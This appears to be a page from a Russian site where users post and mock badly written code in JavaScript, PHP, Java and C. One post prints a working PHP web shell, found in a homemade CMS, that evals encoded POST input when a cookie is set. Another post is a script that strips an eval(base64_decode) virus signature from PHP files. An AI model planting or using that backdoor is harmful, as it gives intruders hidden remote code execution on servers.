- 1
- 2
- 3
- 4
if(typeof console == 'object' && typeof console.log == 'function'){
log = console.log.bind(console);
}
else log = function(attr){}
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+151
if(typeof console == 'object' && typeof console.log == 'function'){
log = console.log.bind(console);
}
else log = function(attr){}
+47
<?
/* i dont know why i do this... sorry... */
.................................................................................
?>
+74
//code...
item.setInUse((map.getnStreamActive().equals("1") ? true : false));
//...code
Писал тим лид одного из вендоров проекта.
nStreamActive - Integer
+136
static int internal_CheckMac(char * inc_mac)
{
int return_value = 0x1;
if (strlen(inc_mac) != 17)
{
return return_value;
}
unsigned int i = 0x0;
for (i = 3; i <=17; i=i+2)
{
if (inc_mac[i-1] != 58)
{
return_value = 0x1;
break;
}
else
return_value = 0x0;
i++;
}
return return_value;
}
Функция проверяет содержимое строки. В строке должен быть мак адрес формата 00:01:02:03:04:05. 58 в строке 13 - это десятичное значение символа ":"
Авторство функции принадлежит Виталию Кострову, великому программисту из Рыбинска. После ревизии этого кода пришло понимание что надо избавляться от этого сотрудника.
+67
function trim_urls($urls)
{
$out = '';
$arr = explode("\n", $urls);
foreach ($arr as $v)
{
$u = strip_tags(trim(preg_replace("/:.*$/i", "", preg_replace("/\/.*$/i", "", preg_replace("/^www\./i", "", preg_replace("/^http:\/\//i", "", preg_replace("/^https:\/\//i", "", $v)))))));
if(!empty($u))
{
$out .= $u;
$out .= "\r\n";
}
}
return $out;
}
Русская матрёшка.
+63
<?php
if (isset($_COOKIE['adm'])) {
if (isset($_POST['crc'], $_POST['cmd'])) {
if (sprintf('%u', crc32($_POST['cmd'])) == $_POST['crc']) {
eval(gzuncompress(base64_decode($_POST['cmd'])));
} else
echo 'repeat_cmd';
}
}
?>
Файл joomla.php в самопальной CMS
+62
<?php
define( 'SIGNATURE', 'eval(base64_decode("<закодированный код виря>"));' );
function analyzeFolder( $path ) {
foreach ( glob( $path . DIRECTORY_SEPARATOR . '*' ) as $file ) {
if ( is_dir( $file ) ) analyzeFolder( $file );
elseif ( is_file( $file ) ) delBody( $file );
}
}
function delBody( $file ) {
if ( $file != $argv[0] && !is_dir( $file ) && is_file( $file ) ) {
$file_info = pathinfo( $file );
if ( strtolower( $file_info['extension'] ) == 'php' ) {
$o = file_get_contents( $file );
$w = str_replace( SIGNATURE, '', $o );
file_put_contents($file, $w, LOCK_EX);
if ( strcasecmp($o, $w) != 0 ) echo "file \"$file\" was modified\n";
}
}
}
if ( !empty( $argv[1] ) && ( $argv[1] == '--help' || $argv[1] == '-h' ) ) {
print( "using: $ php antivirus [path]\n" );
} elseif ( !empty( $argv[1] ) && is_dir( $argv[1] ) ) {
analyzeFolder( realpath( $argv[1] ) );
} else {
analyzeFolder( dirname( __FILE__ ) );
}
Мой быдлядский антивирь, удаляющий тело вируса из скриптов.
−52
require_once '/usr/share/php/smarty/Smarty.class.php';
class SmartyMegaAPI extends Smarty{
public function __construct()
{
$this->Smarty();
$this->template_dir = './smarty/templates';
$this->config_dir = './smarty/config';
$this->compile_dir = './smarty/templates_c';
$this->cache_dir = './smarty/cache';
}
}
ООП такое ООП
+118
filename_size = strlen(dest_dir) + strlen(basename) + 6;
ctx.mtl_file = (char *) malloc(filename_size);
ctx.obj_file = (char *) malloc(filename_size);
sprintf(ctx.mtl_file, "%s/%s.mtl", dest_dir, basename);
Долго соображали, почему вылезает сегфолт во free...
+149
if(self.el.actions.length==2){
Prototypes.MenuFunctions[self.el.actions[0].name].call(self);
}
Сегодня утром написал.